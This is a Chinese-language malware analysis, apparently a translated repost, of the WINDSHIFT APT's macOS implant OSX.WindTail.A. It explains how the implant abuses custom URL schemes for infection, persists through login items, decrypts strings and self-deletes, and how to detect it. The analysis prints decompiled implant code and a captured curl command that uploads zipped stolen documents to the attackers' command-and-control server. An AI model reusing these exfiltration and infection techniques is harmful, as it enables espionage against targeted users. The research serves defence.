背景
在Box GSEC网络安全黑客大会上,Taha Karim(DarkMatter恶意软件研究实验室负责人)发表了一些有趣的研究[ 1 ]。 在他的演讲中,他详细介绍了一个新的APT小组(WINDSHIFT),该小组从事有针对性的网络间谍活动。一个福布斯文章[ 2 ]也包括卡里姆的研究,并指出: “ [APT]的目标人群是在中东的政府部门和重要基础设施中工作的特定人员。” [ 2 ] Karim在演讲中讨论了WINDSHIFT APT组,并概述了其macOS利用技术和恶意软件(OSX.WindTail.A,OSX.WindTail.B和OSX.WindTape)。但是,未涵盖更深层次的技术概念(可能是由于时间限制)。 注意:本文的目的不仅仅是为了反省Karim的出色研究。相反,它旨在通过更深入地研究WINDSHIFT利用机制和恶意软件(OSX.WindTail.A)的技术细节来构建它。 在本文中,我们将首先介绍攻击者采用的相当新颖的利用机制的技术方面。接下来,我们将详细介绍WINDSHIFT的持久性方法,功能和检测,以剖析WINDSHIFT的第一阶段macOS植入物(OSX.WindTail.A)。最后,我们将简要讨论可以启发式检测OSX.WindTail.A以及其他复杂macOS威胁的各种启发式方法。远程Mac开发(通过自定义URL方案)
为了远程感染其macOS目标,WINDSHIFT APT小组滥用了macOS对自定义URL方案的支持。尽管需要用户交互,但是这种交互是最少的,并且可能会受到攻击者的“影响”。此外,这种感染媒介在野外获得了成功(针对中东的政府目标),这说明不幸的是,此类用户交互的需求并不能阻止感染。 在本文的这一部分中,我们将首先从macOS的角度讨论自定义文档和URL方案。接下来,我们将确切说明WINDSHIFT APT组如何使用自定义URL方案来远程感染其目标。 在macOS上,应用程序可以“宣传”它们支持(或“处理”)各种文档类型和/或自定义URL方案。可以将其视为一个应用程序,说:“如果用户尝试打开foo类型的文档或带有bar方案的URL,我可以处理!”。您肯定遇到过macOS的此功能。例如,当双击.pdf文档时,Preview.app将自动启动以处理该文档。同时,在浏览器中,单击官方Mac App Store中的应用程序链接会启动Apple的App Store.app来处理请求。不幸的是,Apple决定实施(特别是“注册”)文档处理程序和自定义URL方案的方式使它们容易被滥用! 注意:尽管文档处理程序和URL方案稍有不同,但从OS的角度来看,它们是必不可少的(因此以相似的方式实现)。 作者[ 3 ]的先前研究讨论了一个广告软件(Mac File Opener),该软件滥用自定义文档处理程序作为实现持久性的隐秘方式。简而言之,由于恶意软件“宣传”它支持200多种类型的文件,每当用户打开这些文件类型之一时,操作系统就会自动启动该恶意软件以处理(理论上显示)文档。坚持不懈! 注意:如果已经注册了某种文件类型(例如.pdf,.html等)的应用程序,则似乎无法(容易地)篡改该应用程序。 在上述研究过程中,第一个问题是:Mac File Opener广告软件(或与此相关的任何应用程序)如何“宣传”它支持的文件(因此,当用户访问此类文档时应自动调用该文件) )?其次,操作系统如何处理和注册此信息?[ 3 ]中对这两个问题的答案都有详细说明,建议您阅读该论文,但在此我们也将对其进行简要总结。 那么,应用程序如何告知OS它可以处理的文件类型?答案在其Info.plist文件中。如前所述,Mac File Opener广告软件“支持” 200多种文件类型,可以通过转储其Info.plist(请注意“ Document types”数组)来确认,如图1所示。
$ cat "Mac File Opener.app/Contents/Info.plist"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://
www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>14F27</string>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeExtensions</key>
<array>
<string>7z</string>
</array>
<key>CFBundleTypeName</key>
<string>DocumentType</string>
<key>CFBundleTypeOSTypes</key>
<array>
<string>????</string>
</array>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>NSDocumentClass</key>
<string>Document</string>
</dict>
...
通过了解macOS如何处理这些文件或“文档”处理程序的“注册” 来回答第二个问题。如[ 4 ]中所述,将应用程序保存到文件系统后,此操作会自动发生。
特别:
- 应用程序(或恶意软件)已下载(保存到文件系统)
- 这将触发发送到启动服务守护程序(lsd)的XPC消息
- lsd解析应用程序的Info.plist,以提取任何“文档处理程序”并将其注册到持久数据库中。
fs_usage -w -f filesystem | grep Info.plist
open Mac File Opener.app/Contents/Info.plist lsd.16457
fstat64 F=4 lsd.16457
read F=4 B=0x18a97 lsd.16457
可以通过lsregister实用程序(在/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/中找到)转储lsd的数据库。当使用“ -dump”标志调用时,它将显示所有指定“文档处理程序”的应用程序,这些应用程序已自动注册(由lsd注册)。例如,人们可以看到存在恶意应用程序Mac File Opener以及其注册的文档(文件类型)(例如.7z等):
$ lsregister -dump
...
path: /Users/user/Downloads/Mac File Opener.app
name: Mac File Opener
identifier: com.pcvark.Mac-File-Opener (0x80025f61)
executable: Contents/MacOS/Mac File Opener
--------------------------------------------------------
claim id: 31508
name: DocumentType
rank: Alternate
roles: Viewer
flags: doc-type
bindings: .7z
...
一旦(自动!)注册了应用程序(或恶意软件)的文档处理程序,只要用户尝试打开其类型与已注册处理程序匹配的文档,该应用程序就会自动被调用。
深入研究macOS内部,此注册由启动服务框架处理。具体来说,“ LSBundleCopyOrCheckNode”方法(和“ _LSBundleCopyOrCheckNode_block_invoke”)将处理此查找(将文档类型与已注册的应用程序进行匹配),然后执行已注册的应用程序:
(lldb) b ___LSBundleCopyOrCheckNode_block_invoke
...
(lldb) x/gx $rdx
0x700000115c48: 0x00007fd3b4a9c520
(lldb) po 0x00007fd3b4a9c520
<FSNode 0x7fd3b4a9c520> { flags = 0x00000020, path = '/Users/user/Desktop/Mac File Opener.app' }
综上所述:
- 应用程序可以“宣传”它们处理各种文档或文件类型。
- 一旦将应用程序保存到文件系统,操作系统将自动注册这些“文档处理程序”。
- 打开文件时,将查询“启动服务”数据库以执行适当的应用程序来处理(读取:打开)文件。
- 将应用程序(“宣传”此类处理程序的支持)保存到文件系统后,macOS会自动注册它们
- 调用自定义URL方案时,将触发(自动注册的)处理程序应用程序的执行。

<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLSchemes</key>
<array>
<string>windshift</string>
</array>
<key>CFBundleURLName</key>
<string>com.foo.bar.WindShift</string>
</dict>
</array>
编译(或下载)此应用程序后,启动服务守护程序将解析其捆绑包(特别是其Info.plist),检测到自定义URL方案处理程序的存在并对其进行注册。同样,请注意,这一切都是自动发生的。
为了确认已注册“ windshift://” URL方案,我们转储了“启动服务”数据库(通过lsregister -dump)。确实,有概念证明应用程序(WindShift.app)以及自定义URL方案(CFBundleURLSchemes:(windshift)):
BundleClass: kLSBundleClassApplication
Container mount state: mounted
...
path: ~/Projects/WindShift/DerivedData/WindShift/Build/Products/Debug/WindShift.app
name: WindShift
....
executable: Contents/MacOS/WindShift
....
CFBundleURLTypes = (
{
CFBundleURLName = "com.foo.bar.WindShift";
CFBundleURLSchemes = (
windshift
);
}
);
}
claim id: 386204
name: com.foo.bar.WindShift
rank: Default
roles: Viewer
flags: url-type
bindings: windshift:
由于自定义URL处理程序('windshift')已(自动)注册到系统,因此概念证明应用程序(Windshift.app)现在可以通过浏览器直接启动。要确认,可以简单地“浏览”自定义URL方案windshift://。
尽管较旧版本的流行浏览器会盲目启动该应用程序,但现在,更新版本将要求用户批准:










$ cat /Users/patrick/Downloads/WindShift/Final_Presentation.app/
Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
...
<key>CFBundleExecutable</key>
<string>usrnode</string>
...
<key>CFBundleIdentifier</key>
<string>com.alis.tre</string>
...
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>Local File</string>
<key>CFBundleURLSchemes</key>
<array>
<string>openurl2622007</string>
</array>
</dict>
</array>
...
<key>LSMinimumSystemVersion</key>
<string>10.7</string>
...
<key>NSUIElement</key>
<string>1</string>
</dict>
</plist>
Info.plist文件中的其他有趣键包括“ LSMinimumSystemVersion”(表明恶意软件与旧版OSX(10.7,Lion)兼容)和“ NSUIElement”键(指示操作系统执行以下操作):没有停靠图标或菜单(即隐藏)的应用程序。
但是,最有趣的是“ CFBundleURLSchemes”键(在CFBundleURLTypes中)。如前所述,该密钥包含应用程序实现的一系列自定义URL方案(在这里:openurl2622007)。如前所述,这允许直接从恶意网页启动恶意软件。
注意:Karim在演示中说:“经特殊设计的网页将下载文件VVIP_Contacts.zip,并调用URL方案:openurl2622015” [ 1 ]。请注意,Final_Presentation示例中的自定义URL方案对此非常“匹配”。
现在,让我们反转OSX.WindTail.A二进制文件,以发现其持久性,功能等方面的方法!
OSX.WindTail:持久性
在本文的这一部分中,我们将分析OSX.WindTail利用的持久性方法,以确保每次被感染的用户登录时自动(重新)启动它。 注意:在这里,以及本文的其余部分,我们将分析OSX.WindTail。一个示例“最终演示”应用程序(SHA256:CEEBF77899D2676193DBB79E660AD62D97220FD0A54380804BC3737C77407D2F)。请注意,在VirusTotal上找到的其他标本(NPC_Agenda_230617,Scandal_Report_2017等)基本相同。 我们对恶意软件的检查始于应用程序二进制文件的“主要”功能(“ usrnode”):int main(int argv, char** argv) {
r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems,
0x0);
LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0,
r12, 0x0, 0x0);
...
rax = NSApplicationMain(r15, r14);
return rax;
}
解析其自身的路径后,恶意软件将调用“ LSSharedFileListInsertItemURL” API。这将添加一个登录项,这是一种获得持久性并确保每次用户登录时都会自动(重新)启动(恶意)应用程序的机制。此持久性可通过“系统偏好设置”应用程序看到。

OSX.WindTail:安装
一旦恶意软件持续存在,主函数中的代码就会调用“ NSApplicationMain”函数,该函数又会调用“ applicationDidFinishLaunching”(委托)方法: 注意:“ applicationDidFinishLaunching”方法是在“启动并初始化应用程序之后” [ 5 ] 自动调用的。因此,在分析恶意macOS应用程序时,请务必调查此方法!-(void)applicationDidFinishLaunching:(void *)arg2 {
r15 = self;
r14 = [[NSDate alloc] init];
rbx = [[NSDateFormatter alloc] init];
[rbx setDateFormat:@"dd-MM-YYYYHH:mm:ss"];
r14 = [[[[rbx stringFromDate:r14] componentsSeparatedByCharactersInSet:
[NSCharacterSet characterSetWithCharactersInString:cfstring____]]
componentsJoinedByString:@""] stringByReplacingOccurrencesOfString:@" "
withString:@""];
rcx = [[NSBundle mainBundle] resourcePath];
rbx = [NSString stringWithFormat:@"%@/date.txt", rcx];
rax = [NSFileManager defaultManager];
rdx = rbx;
if ([rax fileExistsAtPath:rdx] == 0x0) {
rax = arc4random();
rax = [NSString stringWithFormat:@"%@%@", r14,
[[NSNumber numberWithInt:rax - (rax * 0x51eb851f >> 0x25) * 0x64,
(rax * 0x51eb851f >> 0x25) * 0x64] stringValue]];
rcx = 0x1;
r8 = 0x4;
rdx = rbx;
rax = [rax writeToFile:rdx atomically:rcx encoding:r8 error:&var_28];
if (rax == 0x0) {
r8 = 0x4;
rax = [NSUserDefaults standardUserDefaults];
rcx = @"GenrateDeviceName";
rdx = 0x1;
[rax setBool:rdx forKey:rcx, r8];
[[NSUserDefaults standardUserDefaults] synchronize];
}
}
[r15 read];
[r15 tuffel];
[NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:
0x0];
return;
}
“ applicationDidFinishLaunching”委托方法中的代码执行以下操作:
- 生成当前日期和时间,并将其保存到格式化的字符串中。
- 构建在其应用程序捆绑包(Contents / Resources / date.txt)中找到的date.txt的路径。
- 如果此文件不存在,它将写出(格式化的)日期/时间字符串和一个随机数。
- 如果失败,它将'GenrateDeviceName'(sic)用户默认密钥设置为true。
- 从date.txt文件中读取数据。
- 调用“ tuffel”方法。
- 产生一个线程来执行'mydel'方法。
# fs_usage -w -filesystem | grep date.txt
lstat64 /Users/user/Desktop/Final_Presentation.app/Contents/
Resources/date.txt usrnode.8894
open F=3 (R_____) /Users/user/Desktop/
Final_Presentation.app/Contents/Resources/date.txt usrnode.8894
...
# cat ~/Desktop/Final_Presentation.app/Contents/Resources/date.txt
2012201800380925
注意:这样的“每个植入物”标识符可以帮助远程攻击者跟踪(或组织)受感染的主机。
完成此逻辑后,将调用“ tuffel”方法来执行恶意软件的主要逻辑,其中包括:
- 安装
- 文件收集和渗透
/* @class appdele */
-(void)cp {
r13 = self;
var_30 = r13;
*qword_100015f20 = [[NSFileManager alloc] init];
r15 = [[NSBundle mainBundle] bundlePath];
rbx = [r15 lastPathComponent];
r12 = NSHomeDirectory();
r8 = [r13 yoop:@"oX0s4Qj3GiAzAnOmzGqjOA=="];
rcx = r12;
rbx = [NSString stringWithFormat:@"%@%@%@%@", rcx, r8, @"/", rbx];
...
if (([*qword_100015f20 copyItemAtPath:r15 toPath:rbx error:0x0] & 0xff) == 0x1)
goto loc_10000297b;
...
在“ cp”方法中,恶意软件通过[[NSBundle mainBundle] bundlePath]构建指向其自己的应用程序捆绑包的路径。在通过“ lastPathComponent”方法检索了捆绑软件的名称之后,恶意软件会调用“ NSHomeDirectory”功能来获取用户的主目录。编码后的加密字符串'oX0s4Qj3GiAzAnOmzGqjOA =='又如何呢?解密为“ / Library”。
OSX.WindTail:字符串解密
字符串解密通过'yoop'方法处理(依次调用解码和解密帮助器方法):-(void *)yoop:(void *)arg2 {
rax = [[[NSString alloc] initWithData:[[yu decode:arg2]
AESDecryptWithPassphrase:cfstring__] encoding:0x1]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
return rax;
}
仔细查看对解密方法('AESDecryptWithPassphrase')的调用,就会发现硬编码的AES解密密钥:
cfstring___100013480:
0x000000010001c1a8, 0x00000000000007d0,
0x000000010000bc2a, 0x0000000000000010 ; u"æ$&łŁńŚŽ~Ę?|!~<OE",
这与Karim在幻灯片中显示的键完全相同[ 1 ]。

(lldb)
0x100002873 <+125>: movq 0x12bce(%rip), %rsi ; "yoop:"
0x10000287a <+132>: leaq 0x10ddf(%rip), %rdx ; @"oX0s4Qj3GiAzAnOmzGqjOA=="
0x100002881 <+139>: movq %r13, %rdi
0x100002884 <+142>: callq *%r14 ; objc_msgSend
...
//after stepping over callq *%r14 (objc_msgSend)
(lldb) po $rax
/Library
注意:适用于macOS的x64 ABI指示方法或函数的返回值存储在RAX寄存器中。换句话说,一旦方法(或函数)返回,它仅显示RAX寄存器中的内容以查看返回的内容(例如,解密的字符串)。
返回“ cp”方法中的安装逻辑,一旦开始解密字符串,恶意软件就会通过“ stringWithFormat”方法建立完整路径。在受感染的虚拟机上,这会产生
(lldb) po $rdi
<NSFileManager: 0x1001221e0>
//method name
(lldb) x/s $rsi
0x7fff6cabf632: "copyItemAtPath:toPath:error:"
//source path
(lldb) po $rdx
/Users/user/Desktop/Final_Presentation.app
//destination path
(lldb) po $rcx
/Users/user/Library/Final_Presentation.app
通过macOS的内置文件监视器实用程序fs_usage 被动地进行:
# fs_usage -w -f filesystem | grep -i usrnode
open /Users/user/Desktop/Final_Presentation.app
mkdir /Users/user/Library/Final_Presentation.app
...
尽管普通用户不太可能在〜/ Library文件夹中四处逛逛,但是如果这样做(并且Mac感染了OSX.WindTail),该恶意软件将很难丢失,如图15所示。

# ./procInfo
[ process start]
pid: 917
path: /usr/bin/open
user: 501
args: (
open,
"-a",
"/Users/user/Library/Final_Presentation.app"
)
回想一下,一旦恶意软件(或其副本)启动,它便会自己保留一个登录项。有趣的是,这意味着原始恶意软件及其安装的副本都将被保留。

OSX.WindTail:有效负载
此时,恶意软件已安装并持续存在(两次)。但是问题仍然存在,恶意软件实际上是做什么的? 通过“ appdele”的“ init”方法(调用,通过“ tuffel”方法调用),恶意软件会调用名为“ yan”的方法。/* @class appdele */
-(void *)yan {
var_30 = [self yoop:@"BouCfWujdfbAUfCos/iIOg=="];
[self yoop:@"Bk0WPpt0IFFT30CP6ci9jg=="];
[self yoop:@"RYfzGQY52uA9SnTjDWCugw=="];
[self yoop:@"XCrcQ4M8lnb1sJJo7zuLmQ=="];
[self yoop:@"3J1OfDEiMfxgQVZur/neGQ=="];
[self yoop:@"Nxv5JOV6nsvg/lfNuk3rWw=="];
[self yoop:@"Es1qIvgb4wmPAWwlagmNYQ=="];
[self yoop:@"eOA0XJNs/eeFUVMThfZjTA=="];
[self yoop:@"B/9RICA+yl4vZrIeyON8cQ=="];
[self yoop:@"B8fvRmZ1LJ74Q5OiD9KISw=="];
rax = [NSMutableArray arrayWithObjects:var_30];
return rax;
}
通过调用字符串解密方法“ yop”,“ yan”方法似乎返回了解密后的字符串数组。调试器可用于解密这些字符串。具体来说,可以在方法上设置一个断点(地址:0x000000010000238b)。一旦达到此断点,执行lldb的“ finish”命令将执行整个方法,然后在返回时立即停止。现在,指向解密字符串数组(似乎是文件扩展名)的指针将保存在RAX寄存器中。
(lldb) b 0x000000010000238b
(lldb) c
...
-> 0x10000238b <+0>: pushq %rbp
0x10000238c <+1>: movq %rsp, %rbp
0x10000238f <+4>: pushq %r15
0x100002391 <+6>: pushq %r14
(lldb) finish
(lldb) po $rax
<__NSArrayM 0x10018f920>(
doc, docx, ppt, pdf, xls,
xlsx, db, txt, rtf, pptx)
另一个有趣的方法称为“fist”(通过NSTimer调度的“ df”方法调用)。
“fist”方法相当大,但是细读它的反编译可以揭示Apple API 的调用,例如“ contentsOfDirectoryAtPath”,“ pathExtension”和(字符串)比较。假设它正在枚举文件似乎很合理,也许正在寻找与先前解密的文件扩展名匹配的文件。
在“fist”方法中设置各种断点可揭示该恶意软件首先枚举并建立目录列表:
(lldb) po $rdi
<__NSArrayM 0x10018e360>(
/Library,
/net,
/Network,
/private,
/sbin,
/System,
/Users,
/usr,
/vm,
/Volumes,
/Applications/App Store.app,
/Applications/Automator.app,
/Applications/Calculator.app,
/Applications/Calendar.app,
/Applications/Chess.app,
/Applications/Contacts.app,
/Applications/Dashboard.app,
/Applications/Dictionary.app,
/Applications/DVD Player.app,
...
然后,恶意软件将与(先前)解密的文件扩展名(doc,db,rtf等)匹配的文件添加到数组(名为“ honk”)中:
(lldb) po $rdx <__NSArrayM 0x1001aafc0>( { "KEY_ATTR" = { NSFileCreationDate = "2017-09-26 06:58:34 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2017-09-26 07:01:34 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 420; NSFileReferenceCount = 1; NSFileSize = 57344; NSFileSystemFileNumber = 890895; NSFileSystemNumber = 16777218; NSFileType = NSFileTypeRegular; }; "KEY_PATH" = "/Library/Application Support/com.apple.TCC/TCC.db"; }, { "KEY_ATTR" = { NSFileCreationDate = "2017-07-15 23:45:04 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2017-07-15 23:45:04 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 384; NSFileReferenceCount = 1; NSFileSize = 272; NSFileSystemFileNumber = 869137; NSFileSystemNumber = 16777218; NSFileType = NSFileTypeRegular; }; "KEY_PATH" = "/private/etc/racoon/psk.txt"; } )对于“fist”方法添加到“ honk”数组中的每个文件,恶意软件都会调用一个方法,恰当地命名为“ zip”,然后调用macOS的内置zip实用程序来创建文件存档:
/* @class image */
-(void)zip {
r14 = [@"/tmp/" stringByAppendingPathComponent:[rbx->m_filePath
lastPathComponent]];
...
rax = [r14 stringByAppendingString:@".zip"];
...
rax = (r14)(@class(NSArray), @selector(arrayWithObjects:), @"/usr/bin/zip",
*(rbx + r12), rbx->m_filePath, 0x0);
rax = (r14)(r15, @selector(initWithController:arguments:), rbx, rax);
*(rbx + r13) = rax;
(r14)(rax, @selector(startProcess), rbx);
return;
}
可以通过ProcInfo [ 6 ]过程监视实用程序来被动地观察到此情况(例如,此处的zip存档是从StopTemplate.pdf文件创建的):
# ./procInfo
[ process start]
pid: 1202
path: /usr/bin/zip
args: (
"/usr/bin/zip",
"/tmp/StopTemplate.pdf.zip",
"/Applications/Automator.app/Contents/Resources/StopTemplate.pdf"
)
压缩文件后,恶意软件会调用名为“上传”的方法:
/* @class image */
-(void)upload {
...
r14 = [tofg alloc];
if (r12->m_State == 0x1) {
var_30 = [@"vast=@" stringByAppendingString:r12->m_tempPath];
[@"od=" stringByAppendingString:r12->m_ComputerName_UserName];
[@"kl=" stringByAppendingString:r12->cont];
r8 = var_30;
rax = [NSArray arrayWithObjects:@"/usr/bin/curl"]; rdx = r12;
rax = [r14 initWithController:rdx arguments:rax]; }
else {
rax = [NSArray arrayWithObjects:@"/usr/bin/curl"]; rcx = rax;
rax = [r14 initWithController:rdx arguments:rcx];
}
[rax startProcess];
return;
}
在此方法中对“ curl”(/ usr / bin / curl)的引用说明,该恶意软件正在通过(ab)使用此内置网络实用程序来泄露文件。可以通过ProcInfo [ 6 ] 进行确认(它也揭示了网络端点'string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php'):
# ./procInfo
[ process start]
pid: 1258
path: /usr/bin/curl
user: 501
args: (
"/usr/bin/curl",
"-F",
"vast=@/tmp/StopTemplate.pdf.zip",
"-F",
"od=1601201920543863",
"-F",
"kl=users-mac.lan-user",
"string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php"
)
curl的手册页指出'-F'标志将发布数据,并且当指定'@'时,curl将把输入作为文件处理:
$ man curl
...
-F, --form <name=content>
(HTTP) This lets curl emulate a filled-in form in which a user has pressed the submit button. This causes curl to POST data using the Content-Type multipart/formdata according to RFC 2388. This enables uploading of binary files etc. To force the 'content' part to be a file, prefix the file name with an @ sign. To just get the content part from a file, prefix the file name with the symbol <. The difference between @ and < is then that @ makes a file get attached in the post as a file upload, while the < makes a text field and just get the contents for that text field from a file.
Example: to send an image to a server, where 'profile' is the name of the formfield to which portrait.jpg will be the input:curl -F profile=@portrait.jpg
https://example.com/upload.cgi
甲Wireshark的 [ 7 ]的捕获还示出了渗出企图string2me.com(尽管C&C服务器返回403错误),如示于图17。

OSX.WindTail:C&C服务器
如前所述,ProcInfo [ 6 ]和Wireshark观察到恶意软件调用curl将其文件泄露到其命令和控制服务器string2me.com。 但是,该字符串不会以纯文本形式出现在恶意软件的二进制文件中:# grep string2me.com Final_Presentation.app/Contents/MacOS/usrnode | wc
0 0 0
这不足为奇,因为恶意软件作者经常混淆或加密此类字符串以阻止分析。
回想一下,该恶意软件调用了“ yoop”方法来解密嵌入的字符串。通过在此方法上设置断点,可以观察到恶意软件动态地解密和解码字符串。
例如,恶意软件的“ mydel”方法似乎试图连接到攻击者的C&C服务器。通过等待恶意软件(的调试实例)调用此方法,可以恢复C&C服务器的地址:
(lldb) x/s 0x0000000100350a40
0x100350a40: "string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php
...
(lldb) x/s 0x0000000100352fe0
0x100352fe0: "http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?
very=%@&xnvk=%@
Karim在接受iTWire [ 8 ] 采访时指出,这些C&C域(string2me.com和flux2key.com)都是WINDSHIFT域:'...域string2me.com和flux2key.com被确定与这些攻击相关。 '
注意:当前,两个C&C服务器似乎都处于脱机状态:
$ ping flux2key.com
ping: cannot resolve flux2key.com: Unknown host
$ nslookup flux2key.com
Server: 8.8.8.8
Address: 8.8.8.8#53
** server can’t find flux2key.com: SERVFAIL
OSX.WindTail:自删除逻辑
让我们简要地回顾一下“ applicationDidFinishLaunching”委托方法的恶意软件实现:-(void)applicationDidFinishLaunching:(void *)arg2
{
...
[r15 tuffel];
[NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];
}
请注意,最后,恶意软件会剥离一个新线程(通过“ detachNewThreadSelector”方法)以执行名为“ mydel”的方法。
/* @class AppDelegate */
-(void)mydel {
...
r14 = [NSString stringWithFormat:@"%@", [self yoop:@"F5Ur0CCFMO/
fWHjecxEqGLy/..."]];
rbx = [[NSMutableURLRequest alloc] init];
[rbx setURL:[NSURL URLWithString:r14]];
...
if ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx
returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@"1"] != 0x0) {
r14 = [NSFileManager defaultManager];
rdx = [[NSBundle mainBundle] bundlePath];
[r14 removeItemAtPath:rdx error:rcx];
[[NSApplication sharedApplication] terminate:0x0, rcx];
}
return;
}
如上面的反编译所示,“ mydel”方法执行以下操作:
- 从加密的字符串生成URL请求。
- 对此网址发出网络请求
- 如果请求返回的字符串等于“ 1”:
- 删除自身
- 终止自身
OSX.WindTail:检测
当OSX.WindTail样本提交给VirusTotal时,最初并未检测到许多样本,如图18所示。 图18:大多数样品最初未被检测到。 注意:应该注意的是,对于任何特定的AV引擎(在VirusTotal上),该引擎可能只是更完整的安全产品中的一个(小?)。也就是说,公司的全面安全产品可能还包括基于行为的引擎(不包括在VirusTotal中),该引擎通常可以检测到此新威胁。 尽管OSX.WindTail被相当高级的APT小组所使用,但实际上它很容易检测到,尽管是通过启发式方法进行的。 例如,通过监视持久性事件(例如,登录项的程序安装),人们可以在恶意软件的安装和持久性阶段检测到该恶意软件。在图19中,BlockBlock [ 9 ]检测OSX.WindTail的持久性。

结论
并非每天都有APT或“民族国家”组织的Mac功能被发现。但是,OSX.WindTail(属于WINDSHIFT APT组)提供了有关此工具的有趣案例研究。 在本文中,我们全面分析了OSX.WindTail,详细介绍了它的利用向量,安装逻辑,持久性方法以及文件扩展功能。此外,我们的研究讨论了解密例程,以发现恶意软件的C&C服务器的地址,并强调了其远程自删除逻辑。 总而言之,我们提出了启发式检测方法,该方法通常可以检测OSX.WindTail以及其他高级macOS威胁。我们希望这样的检测方法将在安全工具中得到更广泛和普遍的采用,从而使Mac用户保持安全。 参考文献 [1] Karm, T. In the Trails of WindShift APT. Hack in the Box GSEC. https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf. [2] Brewster, T. Hackers Are Exposing An Apple Mac Weakness In Middle East Espionage. Forbes. August 2018. https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/#36d3c3b06fd6. [3] Wardle, P. Click File, App Opens. Objective-See. August 2016. https://objective-see.com/blog/blog_0x12.html. [4] Apple Developer Documentation. Information Property List Key Reference. https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys. html#//apple_ref/doc/uid/20001431-101685. [5] Apple Developer Documentation. applicationDidFinishLaunching:. https://developer.apple.com/documentation/appkit/nsapplicationdelegate/1428385-applicationdidfinishlaunching?language=objc. [6] ProcInfo, Process Monitor. https://github.com/objective-see/ProcInfo/tree/master/procInfo. [7] WireShark. https://www.wireshark.org/. [8] Varghese, S. Researcher unsure if Apple has acted to curb malware. iTWire. September 2018. https://www.itwire.com/security/84324-researcher-unsure-if-apple-has-actedto-curb-malware.html. [9] BlockBlock. https://objective-see.com/products/blockblock.html. [10] LuLu. https://objective-see.com/products/lulu.html. [11] KnockKnock. https://objective-see.com/products/knockknock.html.未经允许不得转载:x-sec » APT组织WINDSHIFT对中东地区MacOS用户进行攻击